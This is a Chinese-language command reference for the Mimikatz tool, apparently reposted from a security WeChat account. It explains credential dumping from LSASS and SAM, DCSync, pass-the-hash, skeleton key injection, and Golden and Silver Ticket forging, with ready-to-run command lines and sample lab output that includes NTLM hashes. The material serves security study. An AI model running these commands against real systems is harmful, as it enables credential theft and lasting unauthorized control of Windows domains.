0x00:简介:
https://github.com/gentilkiwi/mimikatz
发行版本:https://github.com/gentilkiwi/mimikatz/releases
WIKI文档:https://github.com/gentilkiwi/mimikatz/wiki
0x01:最受欢迎的Mimikatz命令:
CRYPTO::Certificates –列表/导出证书
KERBEROS::Golden –创建黄金/白银/信托票
KERBEROS::List –列出用户存储器中的所有用户票证(TGT和TGS).不需要特殊特权,因为它仅显示当前用户的票证.类似于" klist"的功能.
KERBEROS::PTT –通过门票.通常用于注入被盗或伪造的Kerberos票证(黄金/白银/信任).
LSADUMP::DCSync –要求DC同步对象(获取帐户的密码数据).无需在DC上运行代码.
LSADUMP::LSA –要求LSA服务器检索SAM / AD企业(正常,即时修补或注入).用于从域控制器或lsass.dmp转储文件中转储所有Active Directory域凭据.也用于通过参数/ name获取特定的帐户凭据,例如krbtgt:" / name:krbtgt"
LSADUMP::SAM –获取SysKey以解密SAM条目(从注册表或配置单元).SAM选项连接到本地安全帐户管理器(SAM)数据库,并转储本地帐户的凭据.这用于转储Windows计算机上的所有本地凭据.
LSADUMP::Trust –要求LSA服务器检索信任验证信息(正常或即时修补).转储所有关联的信任(域/林)的信任密钥(密码).
MISC::AddSid –添加到用户帐户的SIDHistory.第一个值是目标帐户,第二个值是帐户/组名称(或SID).移至SID:自2016年5月6日起修改.
MISC::MemSSP –注入恶意的Windows SSP来记录本地身份验证的凭据.
MISC::Skeleton –将万能钥匙插入域控制器上的LSASS进程.这样,所有用户对经过Skeleton Key修补的DC的身份验证都可以使用"主密码"(也称为Skeleton Key)以及其通常的密码.
PRIVILEGE::Debug –获得调试权限(许多Mimikatz命令需要此权限或"本地系统"权限).
SEKURLSA::Ekeys –列出Kerberos加密密钥
SEKURLSA::Kerberos –列出所有经过身份验证的用户(包括服务和计算机帐户)的Kerberos凭据
SEKURLSA::Krbtgt –获取域Kerberos服务帐户(KRBTGT)密码数据
SEKURLSA::LogonPasswords –列出所有可用的提供者凭证.这通常显示最近登录的用户和计算机凭据.
SEKURLSA::Pth – Pass-theHash和Over-pass-the-Hash
SEKURLSA::Tickets –列出所有最近通过身份验证的用户的所有可用Kerberos票证,包括在用户帐户和本地计算机的AD计算机帐户的上下文中运行的服务.与kerberos::list不同,sekurlsa使用内存读取,并且不受密钥导出限制.sekurlsa可以访问其他会话(用户)的票证.
TOKEN::List –列出系统的所有令牌
TOKEN::Elevate –模拟令牌.用于将权限提升为SYSTEM(默认)或在框中找到域管理员令牌
TOKEN::Elevate / domainadmin –使用Domain Admin凭据模拟令牌.
0x02:Mimikatz命令指南:
一、只需运行"Mimikatz.exe"或向其传递命令并退出,即可以交互模式执行Mimikatz
(例如:"Mimikatz"kerberos :: list" exit")
Mimikatz可用于将命令从命令行传递到Mimikatz进行处理,以便对Invoke-Mimikatz或在脚本中使用Mimikatz.执行最后一条命令后,追加"退出"将退出Mimikatz(执行此操作以使Mimikatz正常退出).
PS C:tempmimikatz> .mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
.## ^ ##.
## / ## /* * *
## / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11/27/2015 11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
[00010000] CredentialKeys
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
* Username : ADSAdministrator
* Domain : ADSECLAB
* Password : (null)
kerberos :
* Username : adsadministrator
* Domain : LAB.ADSECURITY.ORG
* Password : (null)
ssp : KO
二、交互模式提供了一个"Mimikatz控制台",可以在其中实时输入和执行命令:
PS C:tempmimikatz> .mimikatz
mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
^ ##.
## / ## /* * *
## / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
with 17 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11/27/2015 11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
Primary
Username : ADSAdministrator
Domain : ADSECLAB
NTLM : 5164b7a0fda365d56739954bbbc23835
SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
CredentialKeys
NTLM : 5164b7a0fda365d56739954bbbc23835
SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
Username : ADSAdministrator
Domain : ADSECLAB
Password : (null)
kerberos :
Username : adsadministrator
Domain : LAB.ADSECURITY.ORG
Password : (null)
ssp : KO
credman :
0x03:Mimikatz 模块:
-
BUSYLIGHT
-
CRYPTO (加密)
-
CRYPTO::Certificates
-
DPAPI
-
EVENT (日志/事件)
-
IIS
-
KERBEROS
-
Golden Tickets (黄金票据)
-
Silver Tickets (白银票据)
-
Trust Tickets (信托票据)
-
KERBEROS::PTT
-
LSADUMP
-
DCSync
-
DCShadow
-
LSADUMP::LSA
-
LSADUMP::NetSync
-
LSADUMP::SAM
-
LSADUMP::Trust
-
MISC
-
MINESWEEPER
-
NET
-
PRIVILEGE
-
PRIVILEGE::Debug
-
PROCESS
-
RPC
-
SERVICE
-
SEKURLSA
-
SEKURLSA::Kerberos
-
SEKURLSA::Krbtgt
-
SEKURLSA::LogonPasswords
-
SEKURLSA::Pth
-
SID
-
STANDARD
-
SYSENV
-
TOKEN (令牌)
-
TOKEN::Elevate
-
TOKEN::Elevate /domainadmin
-
TS
-
VAULT
0x04:Mimikatz 案例模块讲解:
黄金票据是使用KRBTGT NTLM密码哈希进行加密和签名的TGT.可以创建黄黄金票据证(GT),以将域中的任何用户(真实或想象中的)模拟为域中任何资源的域中任何组的成员(提供几乎无限的权利).
由于黄黄金票据证是身份验证票证(如下所述的TGT),由于TGT用于获取用于访问资源的服务票证(TGS),因此其范围是整个域(以及利用SID历史记录的AD林).黄黄金票据证(TGT)包含用户组成员身份信息(PAC),并使用域的Kerberos服务帐户(KRBTGT)进行签名和加密,该帐户只能由KRBTGT帐户打开和读取.
总而言之,一旦攻击者可以访问KRBTGT密码哈希,他们就可以创建黄黄金票据证(TGT),以便随时访问AD中的任何内容.
创建金票的Mimikatz命令是"kerberos :: golden"
/domain-完全限定的域名.举个栗子:"lab.adsecurity.org”.
/sid-域的SID.举个栗子:"S-1-5-21-1473643419-774954089-2222329127”.
/sids-具有要票证欺骗的权限的AD林中帐户/组的其他SID.通常,这将是根域"S-1-5-21-1473643419-774954089-5872329127-519"的EnterpriseAdmins组.Ť 他的参数将提供的小岛屿发展中国家的SID历史参数.
/user-要模拟的用户名
/groups(可选)–用户所属的组RID(第一个是主组).添加用户或计算机帐户RID以获得相同的访问权限.默认组:知名管理员组的513,512,520,518,519(下面列出).
/krbtgt-域KDC服务帐户(KRBTGT)的NTLM密码哈希.用于加密和签名TGT.
/ticket(可选)–提供用于保存GoldenTicket文件以供以后使用的路径和名称,或使用/ptt立即将GoldenTicket注入内存以供使用.
/ptt-作为/ticket的替代方案–使用它可以立即将伪造的票证注入内存以供使用.
/id(可选)–用户RID.Mimikatz的默认值为500(默认的管理员帐户RID).
/startoffset(可选)–票证可用时的起始偏移量(如果使用此选项,通常设置为–10或0).Mimikatz默认值为0.
/endin(可选)–票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为10小时(600分钟).
/renewmax(可选)–续订的最大票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为7天(10,080分钟).
/sids(可选)–设置为AD林中EnterpriseAdmins组的SID([ADRootDomainSID]-519),以欺骗整个AD林中的企业管理员权限(AD林中每个域中的ADadmin).
/aes128-AES128密钥
/aes256-AES256密钥
黄金票据默认组:
-
域用户SID:S-1-5-21 <DOMAINID> -513
-
域管理员SID:S-1-5-21 <DOMAINID> -512
-
架构管理员SID:S-1-5-21 <DOMAINID> -518
-
企业管理员SID:S-1-5-21 <DOMAINID> -519(仅当在林根域中创建伪造票证时有效,尽管使用/ sids参数添加AD林管理员权限)
-
组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
kerberos :: golden / admin:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt
举个栗子:
.mimikatz “kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt” exit
二、Silver Ticket (白银票据)
何为白银票据?
Silver Ticket是使用目标服务帐户的NTLM密码哈希(通过SPN映射标识)进行加密和签名的TGS(格式类似于TGT).
创建银票的Mimikatz命令是“kerberos::golden"
/domain-完全限定的域名.在此示例中:"lab.adsecurity.org".
/sid–域的SID.在此示例中:"S-1-5-21-1473643419-774954089-2222329127".
/sids–具有要票证欺骗的权限的AD林中帐户/组的其他SID.通常,这将是根域"S-1-5-21-1473643419-774954089-5872329127-519"的EnterpriseAdmins组.
/user-模拟用户名
/groups(可选)–用户所属的组RID(第一个是主组)默认值:知名管理员组(如下所列)的513,512,520,518,519.
/ticket(可选)–提供用于保存伪造的票证文件以供以后使用的路径和名称,或使用/ptt立即将黄金票证注入内存以供使用.
/ptt–作为/ticket的替代方案–使用它可以立即将伪造的票证注入内存以供使用.
/id(可选)–用户RID.Mimikatz的默认值为500(默认的管理员帐户RID).
/startoffset(可选)–票证可用时的起始偏移量(如果使用此选项,通常设置为–10或0).Mimikatz默认值为0.
/endin(可选)–票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为10小时(600分钟).
/renewmax(可选)–带有续订的最大票证寿命.Mimikatz默认值为10年(〜5,262,480分钟).ActiveDirectory的默认Kerberos策略设置为7天(10,080分钟).
/aes128–AES128密钥
/aes256–AES256密钥
-
域用户SID:S-1-5-21 <DOMAINID> -513
-
域管理员SID:S-1-5-21 <DOMAINID> -512
-
架构管理员SID:S-1-5-21 <DOMAINID> -518
-
企业管理员SID:S-1-5-21 <DOMAINID> -519(仅当在林根域中创建伪造票证时有效,尽管使用/ sids参数添加AD林管理员权限) -
组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit
mimikatz “kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
https://adsecurity.org/?page_id=1821
http://blog.gentilkiwi.com/mimikatz
http://t3ngyu.leanote.com/cate/%E6%A8%AA%E5%90%91%E6%B8%97%E9%80%8F
本文始发于微信公众号(LemonSec):非官方Mimikatz指南和命令参考
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论